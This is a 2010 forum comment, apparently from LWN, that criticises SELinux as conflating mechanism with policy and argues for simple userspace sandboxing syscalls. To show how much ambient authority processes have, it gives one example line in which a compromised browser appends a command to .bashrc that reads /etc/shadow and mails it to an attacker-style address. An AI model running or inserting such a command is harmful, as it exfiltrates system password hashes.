User: Password:
|
|
Subscribe / Log in / New account

systemd for administrators - killing services

systemd for administrators - killing services

Posted Nov 23, 2010 5:04 UTC (Tue) by cmccabe (guest, #60281)
In reply to: systemd for administrators - killing services by jwb
Parent article: systemd for administrators - killing services

> SELinux gets a bad rap for being a bit like ed(1). Like ed, SELinux does
> not overwhelm the novice with too much feedback :) SELinux's answer to
> everything is EPERM! This can be infuriating when everything seems OK to a
> POSIX-educated but SELinux-ignorant user who looks at rwxr-xr-x and sees
> no problem. Disabling SELinux is the solution to a huge range of problems
> and for that reason most administrators simply disable it as policy.

I know I shouldn't take part in Yet Another Selinux flamewar, but I just can't resist...

I like the ideas behind selinux and I run it on my home computer. However, I can't help but feel that it is another example of a conflated design.

The problem is that UNIX processes run with way, way too much ambient authority. That much has been known since the 1980s (see "The Confused Deputy", a classic paper on the topic.) The distinction between user accounts and root accounts on most systems is paper-thin. For example, a compromised Firefox process could easily append "sudo cat /etc/shadow | mail boris@badunov.ru" to your .bashrc. Why not? The .bashrc is owned by you, not by root.

What we needed was a good sandboxing mechanism for processes. For instance, we need a way for processes to give up the ability to send network traffic, or access certain hardware devices. To keep processes from writing to your home directory or other sensitive places, we needed something like a beefed-up chroot. (I'm aware of the problems with allowing user processes to run chroot, but I'm talking about an administrator setup here.)

Given those primitive mechanisms, we could have implemented any security policy we wanted. Instead, what we got was selinux, smack, tomoyo and its brethren. selinux injects policy directly into the kernel through selinux, um, "policies." I'm glad that a DOD-compliant security system for Linux exists. However, I can't help but feel that most users, given the choice, would choose something much simpler. The problem is that by combining the mechanism and the policy, users have to choose all or nothing. Most sysadmins I have talked to laugh at me for being open-minded enough to even consider running selinux, and happily choose "nothing."

I think to make progress, we need to create "selinux from userspace." We should introduce a few simple and general syscalls to sandbox processes. Apple's sandbox_init, and LXC's mechanisms should be good starting points. Then we can implement all the policy of selinux in terms of these simple calls. Application developers, rather than distribution maintainers, should know about and use the syscalls. It may be that most users will choose a simpler policy than selinux. But they shouldn't forgo the mechanisms of mandatory access control security by doing so.


(Log in to post comments)


Copyright © 2017, Eklektix, Inc.
Comments and public postings are copyrighted by their creators.
Linux is a registered trademark of Linus Torvalds